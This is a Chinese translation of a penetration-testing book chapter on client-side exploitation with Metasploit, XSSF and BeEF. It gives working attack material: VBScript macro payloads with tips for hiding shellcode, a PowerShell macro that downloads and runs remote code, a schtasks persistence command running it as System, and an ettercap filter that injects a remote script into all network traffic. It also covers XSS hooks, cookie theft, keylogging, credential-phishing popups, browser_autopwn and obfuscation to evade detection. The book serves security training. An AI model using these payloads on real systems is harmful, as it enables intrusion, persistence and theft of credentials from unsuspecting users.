Skip to content

Latest commit

 

History

History
509 lines (304 loc) · 31.4 KB

File metadata and controls

509 lines (304 loc) · 31.4 KB

十一、客户端利用

对于攻击者或有效的渗透测试人员来说,最大的挑战是绕过目标的安全控制以实现妥协。当目标系统位于网络上时,这可能很困难,因为攻击者通常需要绕过防火墙、代理、入侵检测系统和纵深防御体系结构的其他元素。

一个成功的变通策略是直接针对客户端应用。用户发起与客户端应用的交互,允许攻击者利用用户和应用之间存在的现有信任。使用社会工程方法将提高客户端攻击的成功率。

客户端攻击目标系统通常缺乏企业系统上的安全控制(特别是防火墙和入侵检测系统)。如果这些攻击成功并建立了持久通信,则如果客户端设备重新连接到目标网络,则可以使用客户端设备发起攻击。

在本章结束时,您将了解如何使用以下方法攻击客户端应用:

  • 恶意脚本攻击(VBScript 和 PowerShell)
  • 跨站点脚本框架
  • 浏览器利用框架

使用恶意脚本攻击系统

利用了客户端脚本,如 JavaScript、VBScript 和 PowerShell,以将应用逻辑和操作从服务器移动到客户端计算机。从攻击者或测试人员的角度来看,使用这些脚本有以下几个优点:

  • 它们已经是目标公司自然运行环境的一部分;攻击者不必将大型编译器或其他辅助文件(如加密应用)传输到目标系统。
  • 脚本语言旨在促进计算机操作,如配置管理和系统管理。例如,它们可用于发现和更改系统配置、访问注册表、执行程序、访问网络服务和数据库,以及通过 HTTP 或电子邮件移动二进制文件。这样的标准脚本化操作可以很容易地被测试人员采用。
  • 由于它们是操作系统环境固有的,因此通常不会触发防病毒警报。
  • 它们很容易使用,因为编写脚本需要一个简单的文本编辑器。使用脚本发动攻击没有任何障碍。

从历史上看,JavaScript 是发动攻击的首选脚本语言,因为它在大多数目标系统上广泛可用。由于 JavaScript 攻击已经得到了很好的描述,我们将重点介绍 Kali 如何使用更新的脚本语言(VBScript 和 PowerShell)来促进攻击。

使用 VBScript 进行攻击

Visual Basic 脚本版本VBScript)是微软利用的一种主动脚本语言。它被设计成一种轻量级的 Windows 本机语言,可以执行小程序。自 Windows 98 以来,Microsoft Windows 的每个桌面版本都默认安装了 VBScript,使其成为客户端攻击的最佳目标。

要使用 VBScript 发起攻击,我们将从命令行调用 Metasploit 的msfpayload

root@kali:~# msfpayload windows/meterpreter/reverse_tcp
  LHOST=[Your local Host] LPORT= [Your Local Port] V 

注意,V指定输出为 VBS 宏脚本。输出将显示为包含两个特定部分的文本文件,如以下屏幕截图所示:

Conducting attacks using VBScript

要使用脚本,请打开 Microsoft Office 文档并创建宏(具体命令将取决于所使用的 Microsoft Windows 版本)。将以下信息框中给出的文本的第一部分(从Sub Auto_Open()到最后一部分End Sub复制到宏编辑器中,并在启用宏的情况下保存。

'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************

Sub Auto_Open()
    Ffqsm12
    End Sub

// Additional code removed for clarity

Sub Workbook_Open()
    Auto_Open
End Sub

接下来,将外壳代码复制到实际文档中。外壳代码的部分摘录如以下屏幕截图所示:

Conducting attacks using VBScript

外壳代码可识别为可用于执行攻击的脚本,因此您可能希望隐藏或通过最小化字体大小并使颜色与文档背景匹配来混淆外壳代码。

攻击者必须在 Metasploit 上设置侦听器。在命令提示下输入msfconsole后,攻击者通常会输入以下命令,并设置主机、端口和负载选项;此外,攻击者将配置连接以自动迁移到更稳定的explorer.exe进程,如以下命令行所示。

msf>use exploit/multi/handler 
msf>set lhost 192.168.43.130
msf>set lport 4444
msf>set payload windows/meterpreter/reverse_tcp
msf>set autorunscript migrate -n explorer.exe
msf >exploit 

文件发送到目标时,打开时会弹出安全警告;因此,攻击者将使用社会工程迫使目标受害者选择启用选项。最常用的方法之一是将宏嵌入已配置为玩游戏的 Microsoft Word 文档或 Excel 电子表格中。

启动该文档将创建一个反向 TCP 外壳返回给攻击者,使攻击者能够确保与目标的持久连接并执行攻击后活动。

为了扩展这种攻击方法,我们可以使用位于/usr/share/metasploit-framework/toolsexe2vba.rb将任何可执行文件转换为 VBScript。

例如,首先使用 Metasploit 框架创建后门。注意,X表示后门将被创建为可执行文件(attack.exe,如下图所示:

Conducting attacks using VBScript

接下来,执行exe2.vba使用以下命令将可执行文件转换为 VBScript(确保使用正确的路径名):

# ruby exe2vba.rb attack.exe  attack.vbs
[*] Converted 73802 bytes of EXE into a VBA script

这将允许将可执行文件放在启用 Microsoft 宏的文档中,并发送到客户端。VBScript 可用于执行反向 shell 并更改系统注册表,以确保 shell 保持持久性。我们发现,这种类型的攻击是绕过网络安全控制并保持与安全网络连接的最有效方法之一。

从攻击者的角度来看,使用基于 VBScript 的漏洞攻击有一些显著的优势(这仍然是一个强大的工具)。然而,它的使用正迅速被一种更强大的脚本语言所取代:PowerShell。

使用 Windows PowerShell 攻击系统

Windows PowerShell 是一种命令行 shell 和脚本语言,旨在用于系统管理。基于.NET framework,它扩展了 VBScript 中可用的功能。该语言本身具有很强的可扩展性。由于它是基于.NET 库构建的,因此可以合并来自 C#或 VB.NET 等语言的代码。您还可以利用第三方库。尽管有这种可扩展性,它还是一种简洁的语言。需要 100 行以上代码的 VBScript 可以减少到 10 行 PowerShell!

也许,PowerShell 的最佳功能是,它在大多数基于 Windows 的现代操作系统(Windows 7 及更高版本)上默认可用,并且无法删除。

我们将使用 Metasploit 框架中包含的 PowerShell 脚本来支持杀伤链的攻击阶段。

为了发起攻击,我们将使用 Metasploit 框架的 PowerShell 有效负载 Web 交付模块。本模块的目的是在目标系统上快速建立会话。攻击不会写入磁盘,因此不太可能触发客户端防病毒检测。以下屏幕截图显示了发起攻击和可用模块选项:

Attacking systems using Windows PowerShell

Metasploit 框架将生成一行宏,该宏可以嵌入到文档中并用于发起攻击,如以下示例代码所示:

 Sub AutoOpen()
 Call Shell("PowerShell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:4444/boom'))"",1)
 End Sub

在攻击完成之前,攻击者必须为传入的 shell 准备一个侦听器(URIPATH由 Metasploit 随机生成;确保为侦听器设置了正确的URIPATH。创建侦听器的命令如下所示:

 msf> use exploit/windows/misc/psh_web_delivery
 msf exploit(psh_web_delivery) > set SRVHOST 192.168.1.102
 msf exploit(psh_web_delivery) > set URIPATH boom
 msf exploit(psh_web_delivery) > exploit

成功的攻击将在攻击者的系统上创建一个交互式外壳。

提示

可以使用schtask命令使psh_web_delivery持久化。以下命令将创建一个计划任务MSOfficeMngmt,该任务将在登录时实现powershell.exe(默认情况下,位于Windows\system32目录中):

schtasks /create /tn MSOfficeMngmt /tr "powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep -bypass -nop -c 'IEX ((new-object net.webclient).downloadstring (''http://192.168.1.104:4444/boom'''))'" /sc onlogon /ru System

可在 Kali 的 PowerSploit 目录中找到旨在支持漏洞攻击后活动的其他 PowerShell 脚本。尽管 PowerShell 具有灵活性,但它也有一些缺点。

例如,如果最终用户在应用持久性机制之前关闭了包含宏的文档,则连接将丢失。

更重要的是,VBScript 和 PowerShell 等脚本仅对 Microsoft 环境有用。为了扩大客户端攻击的范围,我们需要寻找一个常见的客户端漏洞,该漏洞可以被利用,而不管其操作系统环境如何。此类漏洞的一个特定示例是跨站点脚本。

跨站点脚本框架

跨站点脚本XSS)漏洞据报道是网站中最常见的可利用漏洞。据估计,高达 80%的所有应用中都存在这种物质。

当应用(通常基于 web)违反称为同源策略的信任概念,并显示用户提供的未经消毒以删除恶意声明的内容时,就会出现 XSS 漏洞。

XSS 漏洞至少有两种主要类型:非持久性持久性

最常见的类型是非持久性或反映的漏洞。当服务器立即使用客户机提供的数据显示响应时,就会发生这种情况。此漏洞的攻击可通过电子邮件或提供 URL 的第三方网站发生,该 URL 似乎引用了受信任的网站,但包含 XSS 攻击代码。如果受信任的站点易受此特定攻击的攻击,则执行链接可能会导致受害者的浏览器执行恶意脚本,从而导致危害。

当攻击者提供的数据由服务器保存,然后在其他用户浏览过程中永久显示在可信网页上时,就会出现持久(存储)XSS 漏洞。这通常发生在允许用户发布 HTML 格式消息的在线留言板和博客上。攻击者可以在网页上放置恶意脚本,该脚本对传入用户不可见,但会危及访问受影响网页的访问者。

Kali Linux 上有几种工具可用于查找 XSS 漏洞,包括xsser和各种漏洞扫描器。然而,有一些工具允许测试人员充分利用 XSS 漏洞,这表明了该漏洞的严重性。

跨站点脚本框架XSSF)是一个多平台安全工具,利用 XSS 漏洞创建与目标的通信通道,支持攻击模块,包括:

  • 对目标浏览器(指纹识别和以前访问过的 URL)、目标主机(检测虚拟机、获取系统信息、注册表项和无线密钥)和内部网络进行侦察。
  • 向目标发送弹出的警报消息。这种简单的“攻击”可用于演示 XSS 漏洞,但是,更复杂的警报可以模拟登录提示并捕获用户身份验证凭据。
  • 窃取使攻击者能够模拟目标的 Cookie。
  • 重定向目标以查看其他网页。恶意网页可能会自动将漏洞下载到目标系统。
  • 将 PDF 文件或 Java 小程序加载到目标上,或从 Android 移动设备窃取 SD 卡内容等数据。
  • 发起 Metasploit 攻击,包括browser_autopwn以及拒绝服务攻击。
  • 发起社会工程攻击,包括自动完成盗窃、点击劫持、Clippy、伪造 flash 更新、网络钓鱼和标签。

此外,XSSF 隧道功能允许攻击者模拟受害者并使用其凭据和会话浏览网站。这是访问内部公司内部网的有效方法。

API 有很好的文档记录,允许轻松创建新的攻击模块。因为它是用 Ruby 编写的,所以 API 与 Metasploit 框架集成,允许攻击者发起额外的攻击。

要使用 XSSF,必须通过以下步骤安装并配置它以支持攻击:

  1. XSSF 没有随卡利一起提供。首先,用户必须打开终端窗口,并使用以下命令设置相应的目录:

    root@kali:~# cd /opt/metasploit/apps/pro/msf3
    
    
  2. Install XSSF using the following command:

    svn export http://xssf.googlecode.com/svn/trunk ./ --force 
    
    

    确保使用svn export而不是svn checkout,因为后一个命令将破坏现有的 MSFsvn文件。以下屏幕截图显示了成功安装的摘录:

    The Cross-Site Scripting Framework

  3. From the Metasploit Framework console, load the XSSF plugin using the load xssf command, as shown in the following screenshot:

    The Cross-Site Scripting Framework

  4. Identify the XSSF commands, as shown in the following screenshot, by typing helpxssf:

    The Cross-Site Scripting Framework

  5. From the console, access the URLs associated with the plugin using the following command:

    msf>xssf_urls
    
    

    在下面的屏幕截图中给出了上一个命令的执行情况,如您所见,标识了几个 URL:

    The Cross-Site Scripting Framework

    最重要的 URL 是 XSSF 服务器,它位于本地主机上。确定了其他几个 URL,包括以下 URL:

    • Generic XSS injection:这是您试图让受害者点击或执行的目标。
    • XSSF test page:XSSF 提供对易受 XSS 攻击的本地测试页面的访问。这可用于在实际测试期间发起攻击之前验证攻击和结果。
    • XSSF Tunnel Proxy:XSSF 允许攻击者使用受损主机的身份进行冲浪,同时保留其安全身份。
    • XSSF logs page:此记录攻击和收到的信息。不幸的是,日志页面提供了一个非常暗的背景,很难看到返回的信息。在测试期间,我们通常通过命令行访问日志信息,命令行更干净,可以编写脚本。
    • XSSF statistics page
    • XSSF help page

    我们将使用易受攻击的 web 应用Mutillidae来演示 XSSF。Mutillidae 是 Metasploitable 项目的一部分,可从下载 http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 。有关安装此易受攻击目标的注意事项,请参阅附录安装 Kali Linux

  6. Once Mutillidae is opened, navigate to the blog page; this page is known to be vulnerable to XSS (you can use a vulnerability scanning tool against Mutillidae to identify other potential insertion points).

    若要对目标客户端发起攻击,请不要在博客中输入常规帖子。而是输入包含目标 URL 和端口的脚本元素:

    <script src="http://192.168.0.104:8888/loop?interval=5"></script>
    

    以下屏幕截图显示了攻击代码在目标网站博客页面上的位置。

    The Cross-Site Scripting Framework

    输入此信息后,受害者点击保存博客条目,其系统将被破坏。从 Metasploit 框架控制台,测试人员可以使用xssf_victimsxssf_information命令获取每个受害者的信息。在执行xssf_victims命令时,将显示每个受害者的信息,如以下屏幕截图所示:

    The Cross-Site Scripting Framework

此时最常见的 XSS 攻击是向客户端发送简短且相对无害的消息或警报。使用 Metasploit 框架,可以通过输入以下命令相对简单地实现这一点:

msf > use auxiliary/xssf/public/misc/alert
msf auxiliary(alert) > show options

查看选项后,可以从命令行快速发送警报,如以下屏幕截图所示:

The Cross-Site Scripting Framework

受害者会看到一条消息,如下图所示:

The Cross-Site Scripting Framework

通常,大多数测试人员及其客户机都使用这种简单的警报消息来验证跨站点脚本。这些证明了“漏洞”的存在。

然而,简单的警报缺乏情感影响。通常,他们会识别出一个真正的漏洞,但客户端不会响应并调解该漏洞,因为警报消息不会被视为重大威胁。幸运的是,XSSF 允许测试人员“提高赌注”,并演示更复杂和危险的攻击。

XSSF 可通过使用以下命令来窃取 Cookie:

msf> use auxiliary/xssf/public/misc/cookie
msfauxillary(cookie) > show options (ensure all needed options selected)
msfauxillary(cookie) > run

run命令的执行如下图所示:

The Cross-Site Scripting Framework

当攻击完成后,可以通过查看 XSSF 日志页面上的结果或使用命令直接从命令行找到 cookie,如以下屏幕截图所示:

The Cross-Site Scripting Framework

auxiliary/xssf/public/misc中的一些其他有用命令包括:

  • check_connected:此命令检查受害者是否打开了任何社交网站(Gmail、Facebook 或 Twitter)
  • csrf:发起跨站点请求伪造攻击
  • keylogger:此命令调用客户端的键盘记录器
  • load_appletload_pdf:这些命令在客户端加载恶意 Java 小程序和 PDF 文件,并调用它们来启动预配置的恶意软件
  • redirect:它将客户端重定向到指定的网页
  • webcam_capture:此命令从客户端的网络摄像头捕获图像

这是一个不完整的列表,但它显示了该工具的利用程度。此外,还有一些模块用于网络扫描和发起拒绝服务攻击,还有一些模块用于确保攻击完成后的持久性。

XSSF 还可以与 ettercap 一起使用,以破坏内部网络。例如,通过在名为attack的过滤器中放置以下代码,可以使用 TTERCAP 将</head>数据替换为指向恶意页面的链接:

if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "</head>")) {
    replace("</head>", "</head><script src=\"http://192.168.43.130:8888/test.html\"></script> ");
  }
}

然后,必须使用以下命令将筛选器脚本转换为二进制文件:

 etterfilter attack.filter –o attack.ef

要对网络上的所有用户发起此攻击,请使用以下命令执行ettercap

 ettercap –T –q –F attack.ef –M ARP // //

XSSF,特别是当集成到 Metasploit 框架中时,是利用 XSS 漏洞的非常强大的工具。然而,最近出现了一个可以帮助您实现类似攻击的新星:浏览器攻击框架。

浏览器利用框架——牛肉

BeEF 是一种利用工具,主要针对特定的客户端应用:web 浏览器。

BeEF 允许攻击者使用 XSS 或 SQL 注入等攻击将 JavaScript 代码注入易受攻击的 HTML 代码。此攻击代码称为钩子。当浏览器执行钩子时,可以实现折衷。浏览器(僵尸连接回 BeEF 应用,该应用向浏览器提供 JavaScript 命令或模块。

BeEF 的模块执行以下任务:

  • 指纹识别和对受损浏览器的侦察。它还可以作为一个平台来评估漏洞的存在及其在不同浏览器下的行为。

    请注意,牛肉允许我们在同一个客户端上挂接多个浏览器,以及跨域挂接多个客户端,然后在攻击和攻击后阶段对其进行管理。

  • 对目标主机进行指纹识别,包括虚拟机的存在。

  • 检测客户端上的软件(仅限 Internet Explorer)并获取Program FilesProgram Files (x86)目录中的目录列表。这可能会识别其他可被利用的应用,以巩固我们对客户端的控制。

  • 使用受损系统的网络摄像头拍照;这些照片在报告中具有重大影响。

  • 搜索受害者的数据文件并窃取可能包含身份验证凭据(剪贴板内容和浏览器 cookie)或其他有用信息的数据。

  • 实现浏览器按键记录。

  • 使用 ping 扫描和指纹网络设备进行网络侦察,并扫描开放端口。

  • 从 Metasploit 框架发起攻击。

  • 使用隧道代理扩展,利用受损 web 浏览器的安全权限攻击内部网络。

因为 BeEF 是用 Ruby 编写的,所以它支持多种操作系统(Linux、Windows 和 OSX)。更重要的是,在 BeEF 中定制新模块并扩展其功能很容易。

安装和配置浏览器利用框架

BeEF 不是 Kali 发行版的一部分,但是,它已经打包了所需的依赖项,以支持 Kali 中的自动安装。要安装 BeEF,请使用以下命令:

root@kali:~# apt-get install beef-xss

BeEF 将安装在/usr/share/beef-xss目录中。默认情况下,它不与 Metasploit 框架集成。要集成 BeEF,您需要执行以下步骤:

  1. 将位于/usr/share/beef-xss/config.yaml的主配置文件编辑为:

    metasploit:
      enable:true
    
  2. Edit the file located at /usr/share/beef-xss/extensions/metasploit/config.yml. You need to edit the lines host, callback_host, and os 'custom', path to include your IP address and the location for the Metasploit Framework A correctly edited config.yml file is shown in the following screenshot:

    Installing and configuring the Browser Exploitation Framework

  3. Start msfconsole, and load the msgrpc module, as shown in the following screenshot. Make sure that you include the password as well:

    Installing and configuring the Browser Exploitation Framework

  4. 使用以下命令启动牛肉:

    root@kali:~# cd /usr/share/beef-xss/
    root@kali:/usr/share/beef-xss/~# ./beef
    
    
  5. Confirm startup by reviewing the messages generated during program launch. They should indicate that Successful connection with Metasploit occurred, which will be accompanied with an indication that Metasploit exploits have been loaded. A successful program launch is shown in the following screenshot:

    Installing and configuring the Browser Exploitation Framework

    提示

    重新启动 BeEF 时,使用-x开关重置数据库。

在本例中,BeEF 服务器在192.168.222.129上运行,“hook URL”(我们希望目标激活的 URL)是192.168.222.129:80/hook.js

大部分牛肉的管理都是通过 web 界面完成的。要访问控制面板,请转至http://<IP Address>:3000/ui/panel

默认登录凭证为Username:beefPassword:beef,如下图所示,除非在config.yaml中更改了这些凭证。

Installing and configuring the Browser Exploitation Framework

牛肉浏览器的演练

当牛肉控制面板启动时,它将显示入门屏幕,显示指向在线站点的链接以及可用于验证各种攻击的演示页面。牛肉控制面板如下图所示:

A walkthrough of the BeEF browser

如果你已经钩住了一个受害者,界面将分为两个面板:

  • 在面板的左侧,钩状浏览器,测试人员可以看到每个连接的浏览器都列出了有关其主机操作系统、浏览器类型、IP 地址和已安装插件的信息。因为 BeEF 设置了一个 cookie 来识别受害者,所以它可以引用这些信息并保持受害者列表的一致性。
  • 面板右侧是启动所有操作并获得结果的位置。在命令选项卡中,我们可以看到一个分类存储库,其中包含可用于攻击钩住浏览器的不同攻击向量。此视图将根据每个浏览器的类型和版本而有所不同。

BeEF 使用颜色编码方案根据命令对特定目标的可用性来描述命令。使用的颜色如下:

  • 绿色:表示命令模块对抗目标,应该被受害者检测到
  • 橙色:表示命令模块对抗目标,但可能被受害者检测到
  • 灰色:表示该命令模块尚未针对目标进行验证
  • 红色:表示命令模块对目标不工作。它可以使用,但不能保证成功,目标可能会检测到它的使用

对这些指标持保留态度,因为客户端环境的变化可能会使某些命令无效,或者可能导致其他意外结果。

要启动攻击或钩住受害者,我们需要让用户点击钩子 URL,其形式为<IP ADDRESS>:<PORT>/hook.js。这可以通过多种方式实现,包括:

  • 原始 XSS 漏洞
  • 中间人攻击(特别是那些使用牛小腿ARP欺骗工具,专门针对内部网络上的内联网站点的攻击)
  • 社会工程攻击,包括牛肉网克隆器和群发电子邮件、带有 iFrame 模拟的自定义钩点或 QR 码生成器

一旦浏览器被钩住,它就被称为僵尸。从命令界面左侧的钩住浏览器面板中选择僵尸的 IP 地址,然后参考可用的命令。

在下面的屏幕截图所示的示例中,钩住的浏览器有几种不同的攻击和管理选项。最容易使用的攻击选项之一是社会工程 Clippy 攻击。

当在命令下的模块树中选择Clippy时,会在最右侧启动一个特定的Clippy面板,如下图所示。它允许您调整图像、交付的文本和可执行文件,如果受害者单击提供的链接,这些文件将在本地启动。默认情况下,自定义文本会通知受害者他们的浏览器已过期,为他们提供更新,下载可执行文件(非恶意),然后感谢用户执行升级。测试仪可以更改所有这些选项。

A walkthrough of the BeEF browser

当 Clippy 被执行时,受害者将在其浏览器上看到如下屏幕截图所示的消息:

A walkthrough of the BeEF browser

这可能是一种非常有效的社会工程攻击。当使用客户端进行测试时,我们的成功率(客户端下载了一个非恶意的指示文件)约为 70%。

提示模块以类似的方式工作。它不向受害者的浏览器发送简单警报,而是发送通知请求,提示受害者输入数据。在许多情况下,如果提示受害者输入未定义的数据,他们会自动重新输入密码。提示可以要求提供特定数据,也可以用于引导受害者到网站下载包含恶意软件的系统补丁。下面的屏幕截图显示了获取用户密码的最简单、最有效的攻击之一。

A walkthrough of the BeEF browser

其中一个更有趣的攻击是 Pretty 盗窃,它要求用户提供流行网站的用户名和密码。例如,测试人员可以配置 Facebook 的 Pretty 盗窃选项,如以下屏幕截图所示:

A walkthrough of the BeEF browser

执行攻击时,受害者会看到一个看似合法的弹出窗口,如以下屏幕截图所示:

A walkthrough of the BeEF browser

在 BeEF 中,测试人员查看攻击的历史日志,可以从命令结果列中的数据字段中获取用户名和密码,如下图所示:

A walkthrough of the BeEF browser

整合牛肉和梅塔斯普洛特攻击

BeEF 和 Metasploit 框架都是使用 Ruby 利用的,可以一起操作来攻击目标。因为它使用客户端和服务器端指纹识别来描述目标,browser_autopwn是最成功的攻击之一。

一旦目标被钩住,启动 Metasploit 控制台并使用以下命令配置攻击:

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.43.130
msf auxiliary(browser_autopwn) > set PAYLOAD_WIN32
  windows/meterpreter/reverse_tcp
msf auxiliary(browser_autopwn) > set PAYLOAD_JAVA
  java/meterpreter/reverse_tcp
msf auxiliary(browser_autopwn) > exploit 

等待所有相关漏洞攻击完成加载。在下面的屏幕截图中显示的示例中,加载了 18 个漏洞利用。请注意攻击的目标 URL。在本例中,目标 URL 为http://192.168.43.130:8080/ICprp4Tnf4Z

Integrating BeEF and Metasploit attacks

有几种方法可以引导浏览器点击目标 URL,但是,如果我们已经连接了目标浏览器,我们可以使用 BeEF 的redirect功能。在牛肉控制面板中,进入浏览器钩住域重定向浏览器。出现提示时,使用此模块指向目标 URL,然后执行攻击。

在 Metasploit 控制台中,您将看到针对目标连续发起的选定攻击。成功的攻击将打开 MeterMeter 会话,如以下屏幕截图所示:

Integrating BeEF and Metasploit attacks

要查看与受损目标的打开会话列表,请键入sessions -l。要以交互方式连接特定会话,例如会话 1,请键入sessions -i 1

使用牛肉作为隧道代理

隧道是将有效负载协议封装在交付协议(如 IP)中的过程。使用隧道,您可以通过网络传输不兼容的协议,也可以绕过配置为阻止特定协议的防火墙。BeEF 可以配置为充当模拟反向 HTTP 代理的隧道代理:浏览器会话成为隧道,挂接的浏览器是退出点。由于隧道代理可用于:

  • 在受害者浏览器的安全上下文(客户端 SSL 证书、身份验证 cookie、NTLM 哈希等)中浏览经过身份验证的站点
  • 使用受害者浏览器的安全上下文爬行挂接的域
  • 方便使用 SQL 注入等工具

要使用隧道代理,请选择要指向的挂接浏览器,然后右键单击其 IP 地址。在弹出框中,如下图所示,选择用作代理选项:

Using BeEF as a tunneling proxy

将浏览器配置为将代理用作 HTTP 代理。默认情况下,代理的地址为127.0.0.1,端口为 6789。

如果您使用配置为 HTTP 代理的浏览器访问目标网站,所有原始请求/响应对将存储在 BeEF 数据库中,可通过导航至Rider****History(以下屏幕截图中显示了日志摘录)对其进行分析。

Using BeEF as a tunneling proxy

一旦攻击完成,有一些机制可确保保持持久连接,包括:

  • 确认关闭:为受害者提供确认导航的模块-当受害者尝试关闭选项卡时,您确定要离开弹出的此页面。如果用户选择离开此页面,则此页面无效,确认导航弹出窗口将继续出现。
  • 模块下的Pop:此配置为在config.yaml中自动运行。如果受害者关闭主浏览器选项卡,此模块将尝试在下方打开一个小弹出窗口,以保持浏览器连接。这可能会被弹出窗口阻止程序阻止。
  • iFrame 键盘记录器:将网页上的所有链接重写为 iFrame 覆盖,其高度和宽度均为原始页面的 100%。为了获得最大的效率,它应该连接到 JavaScript 键盘记录器。理想情况下,您将加载挂接域的登录页面。
  • 浏览器中的人:此模块确保受害者点击任何链接时,下一页也会被钩住。避免此行为的唯一方法是在地址栏中键入新地址。

最后,虽然 BeEF 提供了一系列优秀的模块来执行侦察,以及杀伤链的利用和利用后阶段,但已知的默认活动 BeEF(/hook.js和服务器头)被用于检测攻击,降低了其有效性。测试人员必须使用 Base64 编码、空白编码、随机化变量和删除注释等技术来模糊攻击,以确保未来的完全有效性。

总结

在本章中,我们研究了针对通常与受保护网络隔离的系统的攻击。这些客户端攻击主要针对特定应用中的漏洞。我们审查了恶意脚本,特别是 VBScript 和 PowerShell,它们在测试和破坏基于 Windows 的网络方面特别有用。然后,我们研究了跨站点脚本框架,该框架可能会破坏 XSS 漏洞,以及针对 web 浏览器中漏洞的 BeEF 工具。XSSF 和 BeEF 都与 Kali 上的侦察、攻击和攻击后工具集成,以提供全面的攻击平台。

本章总结掌握 Kali Linux 进行高级渗透测试。我们希望本书能够帮助您了解攻击者如何使用诸如 Kali 之类的工具来破坏网络,以及您如何使用相同的工具来了解您的网络漏洞,并在您自己的网络受到破坏之前进行调解。